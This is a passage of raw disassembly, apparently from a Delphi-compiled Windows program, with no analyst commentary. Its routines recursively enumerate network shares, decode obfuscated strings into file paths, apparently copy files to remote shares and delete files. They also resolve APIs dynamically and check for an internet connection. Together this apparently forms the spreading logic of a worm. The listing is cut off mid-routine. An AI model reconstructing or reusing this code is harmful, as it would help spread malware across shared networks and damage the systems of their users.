var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, 19Ah

loc_4184CC:				; CODE XREF: sub_4184C4+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4184CC
		push	ebx
		push	esi
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4187C9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 0C80h
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0
		push	0
		push	2
		call	j_WNetOpenEnumA
		test	eax, eax
		jnz	loc_418793
		mov	[ebp+var_8], 64h
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_C90]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	j_WNetEnumResourceA
		mov	esi, [ebp+var_8]
		test	esi, esi
		jle	loc_418793
		lea	ebx, [ebp+var_C84]

loc_418534:				; CODE XREF: sub_4184C4+2C9j
		mov	eax, [ebx]
		and	eax, 2
		cmp	eax, 2
		jnz	short loc_418550
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebx-0Ch]
		call	sub_4184C4
		pop	ecx
		jmp	loc_418789
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418550:				; CODE XREF: sub_4184C4+78j
		mov	eax, [ebx-8]
		and	eax, 1
		cmp	eax, 1
		jnz	loc_418789
		lea	eax, [ebp+var_10]
		mov	edx, [ebx+8]
		call	sub_403680
		lea	ecx, [ebp+var_C94]
		xor	edx, edx
		mov	eax, offset dword_4187E0
		call	sub_415FAC
		mov	edx, [ebp+var_C94]
		mov	eax, offset dword_41EEF4
		call	sub_40351C
		lea	eax, [ebp+var_C9C]
		mov	edx, ds:dword_41EEE8
		mov	dl, [edx]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_C9C]
		lea	eax, [ebp+var_CA0]
		call	sub_402848
		mov	edx, offset dword_4187F8
		lea	eax, [ebp+var_CA0]
		mov	cl, 2
		call	sub_402818
		lea	edx, [ebp+var_CA0]
		lea	eax, [ebp+var_C98]
		call	sub_4036EC
		lea	eax, [ebp+var_C98]
		mov	edx, ds:dword_41EEF4
		call	sub_40372C
		mov	eax, [ebp+var_C98]
		push	eax
		lea	eax, [ebp+var_CA4]
		mov	ecx, ds:dword_41EEF4
		mov	edx, [ebp+var_10]
		call	sub_403770
		mov	edx, [ebp+var_CA4]
		mov	cl, 1
		pop	eax
		call	sub_416178
		test	al, al
		jz	loc_418789
		lea	ecx, [ebp+var_CAC]
		xor	edx, edx
		mov	eax, offset dword_418804
		call	sub_415FAC
		mov	ecx, [ebp+var_CAC]
		lea	eax, [ebp+var_CA8]
		mov	edx, [ebp+var_10]
		call	sub_403770
		mov	eax, [ebp+var_CA8]
		push	eax
		lea	eax, [ebp+var_CB0]
		mov	ecx, ds:dword_41EEF4
		mov	edx, offset dword_41881C
		call	sub_403770
		mov	edx, [ebp+var_CB0]
		pop	eax
		call	sub_418438
		lea	ecx, [ebp+var_CB4]
		xor	edx, edx
		mov	eax, offset dword_41882C
		call	sub_415FAC
		mov	edx, [ebp+var_CB4]
		mov	eax, offset dword_41EEF4
		call	sub_40351C
		push	[ebp+var_10]
		push	ds:dword_41EEF4
		lea	ecx, [ebp+var_CBC]
		xor	edx, edx
		mov	eax, offset dword_418844
		call	sub_415FAC
		push	[ebp+var_CBC]
		lea	eax, [ebp+var_CB8]
		mov	edx, 3
		call	sub_4037E4
		mov	eax, [ebp+var_CB8]
		push	eax
		push	[ebp+var_10]
		push	ds:dword_41EEF4
		lea	ecx, [ebp+var_CC4]
		xor	edx, edx
		mov	eax, offset dword_418854
		call	sub_415FAC
		push	[ebp+var_CC4]
		lea	eax, [ebp+var_CC0]
		mov	edx, 3
		call	sub_4037E4
		mov	eax, [ebp+var_CC0]
		mov	cl, 1
		pop	edx
		call	sub_416178
		push	[ebp+var_10]
		push	ds:dword_41EEF4
		lea	ecx, [ebp+var_CC8]
		xor	edx, edx
		mov	eax, offset dword_418854
		call	sub_415FAC
		push	[ebp+var_CC8]
		mov	eax, offset dword_41EEF4
		mov	edx, 3
		call	sub_4037E4
		mov	eax, ds:dword_41EEF4
		call	sub_4038E8
		push	eax
		call	j_DeleteFileA
		lea	eax, [ebp+var_CCC]
		mov	edx, ds:dword_41EEE8
		mov	dl, [edx]
		call	sub_403670
		lea	eax, [ebp+var_CCC]
		push	eax
		lea	ecx, [ebp+var_CD0]
		xor	edx, edx
		mov	eax, offset dword_418868
		call	sub_415FAC
		mov	edx, [ebp+var_CD0]
		pop	eax
		call	sub_40372C
		mov	eax, [ebp+var_CCC]
		xor	ecx, ecx
		mov	edx, ds:dword_41EEF4
		call	sub_416178

loc_418789:				; CODE XREF: sub_4184C4+87j
					; sub_4184C4+95j ...
		add	ebx, 20h
		dec	esi
		jnz	loc_418534

loc_418793:				; CODE XREF: sub_4184C4+3Aj
					; sub_4184C4+64j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4187D0
		lea	eax, [ebp+var_CD0]
		mov	edx, 0Ch
		call	sub_4034EC
		lea	eax, [ebp+var_C98]
		mov	edx, 2
		call	sub_4034EC
		lea	eax, [ebp+var_10]
		call	sub_4034C8
		retn
sub_4184C4	endp ; sp = -60h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4187C9:				; DATA XREF: sub_4184C4+16o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 0EBh	; К
		db 0D0h	; п
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4187D0:				; DATA XREF: sub_4184C4+2D7o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 14h
dword_4187E0	dd 7D7E8A77h, 7F857B94h, 836C747Fh, 4C4C5B8Dh, 7F917D49h
					; DATA XREF: sub_4184C4+AEo
		dd 0
dword_4187F8	dd 3A01h, 0FFFFFFFFh, 0Dh ; DATA XREF: sub_4184C4+EDo
dword_418804	dd 87877270h, 788A7683h, 74743F77h, 88h, 0FFFFFFFFh, 5
					; DATA XREF: sub_4184C4+15Ao
dword_41881C	dd 6E697740h, 20h, 0FFFFFFFFh, 0Ch ; DATA XREF:	sub_4184C4+18Bo
dword_41882C	dd 807A876Fh, 85887F77h, 8086826Fh, 0, 0FFFFFFFFh, 6
					; DATA XREF: sub_4184C4+1A9o
dword_418844	dd 71393C40h, 6F85h, 0FFFFFFFFh, 9 ; DATA XREF:	sub_4184C4+1D4o
dword_418854	dd 427A7974h, 87733B42h, 75h, 0FFFFFFFFh, 15h ;	DATA XREF: sub_4184C4+20Co
					; sub_4184C4+24Bo
dword_418868	dd 808C7556h, 877D927Fh, 6E767D81h, 4E5D8B85h, 937F474Eh
					; DATA XREF: sub_4184C4+29Co
		dd 81h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_418880	proc near		; CODE XREF: start+724p

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Bh

loc_418888:				; CODE XREF: sub_418880+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_418888
		push	ecx
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	ebx, offset dword_41EEF4
		xor	eax, eax
		push	ebp
		push	offset loc_418B06
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	1
		push	1
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, offset dword_418B1C
		mov	edx, offset dword_418B28
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		lea	ecx, [ebp+var_10]
		xor	edx, edx
		mov	eax, offset dword_418B34
		call	sub_415FAC
		mov	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_40351C
		lea	eax, [ebp+var_14]
		mov	ecx, [ebx]
		mov	edx, ds:dword_41EEE8
		call	sub_403770
		mov	edx, [ebp+var_14]
		mov	cl, 1
		mov	eax, [ebp+var_4]
		call	sub_416178
		lea	ecx, [ebp+var_8]
		xor	edx, edx
		mov	eax, offset aPiapMasjguoink ; "▐╗═╞Ё ╛═≤├ё·ў╗ґ╙╒ґ√▓╔ї·╙Ё╛√~╠╚╛═╙ґ░═ў╛ё"...
		call	sub_415FAC
		push	0
		push	1
		lea	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+var_1C]
		xor	edx, edx
		mov	eax, offset dword_418B88
		call	sub_415FAC
		mov	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_20]
		mov	ecx, [ebx]
		mov	edx, ds:dword_41EEE8
		call	sub_403770
		mov	ecx, [ebp+var_20]
		mov	eax, [ebp+var_8]
		pop	edx
		call	sub_415EAC
		cmp	[ebp+var_18], 0
		jnz	short loc_418984
		push	1
		push	1
		lea	eax, [ebp+var_24]
		push	eax
		lea	ecx, [ebp+var_28]
		xor	edx, edx
		mov	eax, offset dword_418B88
		call	sub_415FAC
		mov	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2C]
		mov	ecx, [ebx]
		mov	edx, ds:dword_41EEE8
		call	sub_403770
		mov	ecx, [ebp+var_2C]
		mov	eax, [ebp+var_8]
		pop	edx
		call	sub_415EAC

loc_418984:				; CODE XREF: sub_418880+CBj
		lea	ecx, [ebp+var_30]
		xor	edx, edx
		mov	eax, offset dword_418B9C
		call	sub_415FAC
		mov	edx, [ebp+var_30]
		mov	eax, ebx
		call	sub_40351C
		lea	eax, [ebp+var_34]
		mov	ecx, [ebx]
		mov	edx, ds:dword_41EEF0
		call	sub_403770
		mov	edx, [ebp+var_34]
		mov	cl, 1
		mov	eax, [ebp+var_4]
		call	sub_416178
		lea	ecx, [ebp+var_8]
		xor	edx, edx
		mov	eax, offset aJcdjkkdFjdmnzo ; "├√└├┼┼└|■├└▄█z▌░├▄{┐░▀▄│▐┌"
		call	sub_415FAC
		push	0
		push	2
		lea	eax, [ebp+var_38]
		push	eax
		push	offset dword_418BD4
		push	ds:dword_41EEF0
		push	dword ptr [ebx]
		push	offset dword_418BE0
		lea	eax, [ebp+var_3C]
		mov	edx, 4
		call	sub_4037E4
		mov	ecx, [ebp+var_3C]
		xor	edx, edx
		mov	eax, [ebp+var_8]
		call	sub_415EAC
		mov	eax, [ebp+var_38]
		mov	edx, offset dword_418BF4
		call	sub_403834
		jnz	short loc_418A40
		push	1
		push	2
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_418BD4
		push	ds:dword_41EEF0
		push	dword ptr [ebx]
		push	offset dword_418BE0
		lea	eax, [ebp+var_44]
		mov	edx, 4
		call	sub_4037E4
		mov	ecx, [ebp+var_44]
		xor	edx, edx
		mov	eax, [ebp+var_8]
		call	sub_415EAC

loc_418A40:				; CODE XREF: sub_418880+18Aj
		push	ebp
		xor	eax, eax
		call	sub_4184C4
		pop	ecx
		mov	eax, 21h
		call	sub_4028F4
		cmp	eax, 8
		jnz	loc_418AEB
		lea	ecx, [ebp+var_48]
		xor	edx, edx
		mov	eax, offset dword_418C04
		call	sub_415FAC
		mov	edx, [ebp+var_48]
		mov	eax, ebx
		call	sub_40351C
		lea	eax, [ebp+var_4C]
		mov	ecx, [ebx]
		mov	edx, ds:dword_41EEF8
		call	sub_403770
		mov	edx, [ebp+var_4C]
		mov	cl, 1
		mov	eax, [ebp+var_4]
		call	sub_416178
		push	0
		push	0
		lea	eax, [ebp+var_50]
		push	eax
		lea	ecx, [ebp+var_54]
		xor	edx, edx
		mov	eax, offset dword_418C18
		call	sub_415FAC
		mov	edx, [ebp+var_54]
		xor	ecx, ecx
		mov	eax, ds:dword_41EEEC
		call	sub_415EAC
		mov	edx, [ebp+var_50]
		mov	eax, ebx
		call	sub_40351C
		lea	ecx, [ebp+var_5C]
		xor	edx, edx
		mov	eax, offset aBomzcsculccmuc ; "│o▄┤≈▒√⌠▀√Cm⌠√┬√⌠┤≈Dt┬┴█┬┤Q┴²┤"
		call	sub_415FAC
		mov	ecx, [ebp+var_5C]
		lea	eax, [ebp+var_58]
		mov	edx, [ebx]
		call	sub_403770
		mov	edx, [ebp+var_58]
		xor	ecx, ecx
		mov	eax, [ebp+var_4]
		call	sub_416178

loc_418AEB:				; CODE XREF: sub_418880+1D6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_418B0D

loc_418AF8:				; CODE XREF: CODE:00418B0Bj
		lea	eax, [ebp+var_5C]
		mov	edx, 17h
		call	sub_4034EC
		retn
sub_418880	endp ; sp = -80h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418B06:				; DATA XREF: sub_418880+24o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_418AF8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418B0D:				; DATA XREF: sub_418880+273o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_418B1C	dd 32h,	0FFFFFFFFh, 3	; DATA XREF: sub_418880+37o
dword_418B28	dd 374446h, 0FFFFFFFFh,	0Bh ; DATA XREF: sub_418880+3Co
dword_418B34	dd 7253626Eh, 3F42427Fh, 758777h, 0FFFFFFFFh, 35h
					; DATA XREF: sub_418880+50o
aPiapMasjguoink	db '▐╗═╞Ё ╛═≤├ё·ў╗ґ╙╒ґ√▓╔ї·╙Ё╛√~╠╚╛═╙ґ░═ў╛ё╙╙∙▄╟╙▄÷ґ╡╒²═╞',0
					; DATA XREF: sub_418880+86o
		align 4
		dd 0FFFFFFFFh, 8
dword_418B88	dd 84767E53h, 40407E74h, 0, 0FFFFFFFFh,	0Bh ; DATA XREF: sub_418880+9Do
					; sub_418880+DAo
dword_418B9C	dd 8379626Eh, 3F424255h, 758777h, 0FFFFFFFFh, 1Ah
					; DATA XREF: sub_418880+109o
aJcdjkkdFjdmnzo	db '├√└├┼┼└|■├└▄█z▌░├▄{┐░▀▄│▐┌',0 ; DATA XREF: sub_418880+13Fo
		align 4
		dd 0FFFFFFFFh, 1
dword_418BD4	dd 22h,	0FFFFFFFFh, 9	; DATA XREF: sub_418880+151o
					; sub_418880+194o
dword_418BE0	dd 25222022h, 25202231h, 2Ah, 0FFFFFFFFh, 7 ; DATA XREF: sub_418880+15Eo
					; sub_418880+1A1o
dword_418BF4	dd 22312522h, 2A2520h, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_418880+180o
dword_418C04	dd 5E73626Eh, 3F42428Ah, 758777h, 0FFFFFFFFh, 7	; DATA XREF: sub_418880+1E1o
dword_418C18	dd 7F6D7F61h, 7C8082h, 0FFFFFFFFh, 1Eh ; DATA XREF: sub_418880+21Fo
aBomzcsculccmuc	db '│o▄┤≈▒√⌠▀√Cm⌠√┬√⌠┤≈Dt┬┴█┬┤Q┴²┤',0 ; DATA XREF: sub_418880+247o
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_418C48	proc near		; CODE XREF: start+A8Ep

var_2964	= byte ptr -2964h
var_164		= byte ptr -164h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 2

loc_418C51:				; CODE XREF: sub_418C48+11j
		add	esp, 0FFFFF004h
		push	eax
		dec	eax
		jnz	short loc_418C51
		mov	eax, [ebp+var_4]
		add	esp, 0FFFFF6A0h
		push	ebx
		push	esi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		lea	ebx, [ebp+var_C]
		xor	eax, eax
		push	ebp
		push	offset loc_418DB9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_18], 1
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_8]
		call	sub_403724
		mov	esi, eax
		mov	dword ptr [ebx], 1
		lea	ecx, [ebp+var_2964]

loc_418CB1:				; CODE XREF: sub_418C48+A5j
		mov	eax, esi
		cdq
		cmp	edx, [ebp+var_14]
		jnz	short loc_418CC0
		cmp	eax, [ebp+var_18]
		jnb	short loc_418CD0
		jmp	short loc_418CC2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418CC0:				; CODE XREF: sub_418C48+6Fj
		jge	short loc_418CD0

loc_418CC2:				; CODE XREF: sub_418C48+76j
		mov	[ebp+var_18], 1
		mov	[ebp+var_14], 0

loc_418CD0:				; CODE XREF: sub_418C48+74j
					; sub_418C48+78j
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_8]
		mov	al, [edx+eax-1]
		mov	[ecx], al
		add	[ebp+var_18], 1
		adc	[ebp+var_14], 0
		inc	dword ptr [ebx]
		inc	ecx
		cmp	dword ptr [ebx], 2801h
		jnz	short loc_418CB1
		mov	[ebp+var_18], 0
		mov	[ebp+var_14], 0
		push	0
		push	2800h
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		sub	eax, 280h
		sbb	edx, 0
		call	sub_4055D6
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		dec	dword ptr [ebx]
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_164]
		call	sub_404E16
		mov	eax, ds:off_41DC30
		mov	byte ptr [eax],	0
		mov	edx, 1
		lea	eax, [ebp+var_164]
		call	sub_405124
		call	sub_40265C
		jmp	short loc_418D6D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418D4C:				; CODE XREF: sub_418C48+133j
					; sub_418C48+137j
		push	ebx
		lea	edx, [ebp+var_2964]
		mov	ecx, [ebx]
		lea	eax, [ebp+var_164]
		call	sub_404F1C
		call	sub_40265C
		add	[ebp+var_18], 1
		adc	[ebp+var_14], 0

loc_418D6D:				; CODE XREF: sub_418C48+102j
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	edx, [ebp+var_14]
		jnz	short loc_418D7F
		cmp	eax, [ebp+var_18]
		ja	short loc_418D4C
		jmp	short loc_418D81
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418D7F:				; CODE XREF: sub_418C48+12Ej
		jg	short loc_418D4C

loc_418D81:				; CODE XREF: sub_418C48+135j
		lea	eax, [ebp+var_164]
		call	sub_404F80
		call	sub_40265C
		mov	edx, 2
		mov	eax, [ebp+var_4]
		call	sub_4071B8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_418DC0

loc_418DAB:				; CODE XREF: CODE:00418DBEj
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_418C48	endp ; sp = -1974h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418DB9:				; DATA XREF: sub_418C48+3Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_418DAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418DC0:				; DATA XREF: sub_418C48+15Eo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_418DC8	proc near		; CODE XREF: start+ABCp start+AF4p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_418E17
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp

loc_418DE6:				; CODE XREF: sub_418DC8+37j
		mov	eax, [ebp+var_4]
		call	sub_4038E8
		push	eax
		call	j_GlobalFindAtomA
		mov	ebx, eax
		push	ebx
		call	j_GlobalDeleteAtom
		test	bx, bx
		jnz	short loc_418DE6
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_418E1E

loc_418E0E:				; CODE XREF: CODE:00418E1Cj
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_418DC8	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418E17:				; DATA XREF: sub_418DC8+13o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_418E0E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418E1E:				; DATA XREF: sub_418DC8+41o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_418E24	proc near		; CODE XREF: sub_41A7EC+Dp

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_418EAB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_9], 0
		mov	eax, [ebp+var_4]
		call	sub_4038E8
		mov	ebx, eax
		push	ebx
		call	j_LoadLibraryA
		test	eax, eax
		jz	short loc_418E90
		push	ebx
		call	j_GetModuleHandleA_1
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_418E90
		mov	eax, [ebp+var_8]
		call	sub_4038E8
		push	eax
		push	ebx
		call	j_GetProcAddress_0
		mov	[esi], eax
		cmp	dword ptr [esi], 0
		jz	short loc_418E90
		mov	[ebp+var_9], 1

loc_418E90:				; CODE XREF: sub_418E24+44j
					; sub_418E24+50j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_418EB2

loc_418E9D:				; CODE XREF: CODE:00418EB0j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_418E24	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418EAB:				; DATA XREF: sub_418E24+23o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_418E9D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418EB2:				; DATA XREF: sub_418E24+74o
		mov	al, [ebp-9]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_418EBC	proc near		; CODE XREF: sub_4190CC+95Ep
					; sub_4190CC+EA7p ...

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	[ebp+var_1], al
		xor	eax, eax
		push	ebp
		push	offset loc_418F7C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	0
		push	1
		lea	eax, [ebp+var_10]
		push	eax
		xor	ecx, ecx
		mov	edx, offset dword_418F94
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_10]
		mov	edx, offset dword_418FA0
		call	sub_403834
		jnz	short loc_418F5F
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		call	j_InternetGetConnectedState
		neg	eax
		sbb	ebx, ebx
		neg	ebx
		test	bl, bl
		jz	short loc_418F24
		lea	eax, [ebp+var_C]
		mov	edx, offset dword_418FAC
		call	sub_403560
		jmp	short loc_418F31
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418F24:				; CODE XREF: sub_418EBC+57j
		lea	eax, [ebp+var_C]
		mov	edx, offset dword_418FA0
		call	sub_403560

loc_418F31:				; CODE XREF: sub_418EBC+66j
		push	1
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, offset loc_418FB8
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		test	bl, bl
		jz	short loc_418F55
		cmp	[ebp+var_1], 0
		jnz	short loc_418F59

loc_418F55:				; CODE XREF: sub_418EBC+91j
		xor	eax, eax
		jmp	short loc_418F5B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418F59:				; CODE XREF: sub_418EBC+97j
		mov	al, 1

loc_418F5B:				; CODE XREF: sub_418EBC+9Bj
		mov	ebx, eax
		jmp	short loc_418F61
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418F5F:				; CODE XREF: sub_418EBC+42j
		xor	ebx, ebx

loc_418F61:				; CODE XREF: sub_418EBC+A1j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_418F83

loc_418F6E:				; CODE XREF: CODE:00418F81j
		lea	eax, [ebp+var_14]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_418EBC	endp ; sp = -2Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418F7C:				; DATA XREF: sub_418EBC+11o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_418F6E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418F83:				; DATA XREF: sub_418EBC+ADo
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 3
dword_418F94	dd 394346h, 0FFFFFFFFh,	1 ; DATA XREF: sub_418EBC+26o
dword_418FA0	dd 30h,	0FFFFFFFFh, 1	; DATA XREF: sub_418EBC+38o
					; sub_418EBC+6Bo
dword_418FAC	dd 31h,	0FFFFFFFFh, 3	; DATA XREF: sub_418EBC+5Co
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_418FB8:				; DATA XREF: sub_418EBC+80o
		inc	esi
		inc	esp
		xor	al, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_418FBC	proc near		; CODE XREF: sub_4190CC+2A8p

var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_419052
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	dl, 1
		mov	eax, ds:off_412CB8
		call	sub_412D28
		mov	[ebp+var_C], eax
		xor	eax, eax
		push	ebp
		push	offset loc_419035
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		mov	edx, [ebp+var_4]
		call	sub_40351C
		mov	eax, [ebp+var_C]
		call	sub_412EA0
		mov	[ebp+var_5], al
		cmp	[ebp+var_5], 0
		jz	short loc_41901F
		mov	eax, [ebp+var_C]
		call	sub_412F7C

loc_41901F:				; CODE XREF: sub_418FBC+59j
		xor	eax, eax
		pop	edx
		pop	ecx
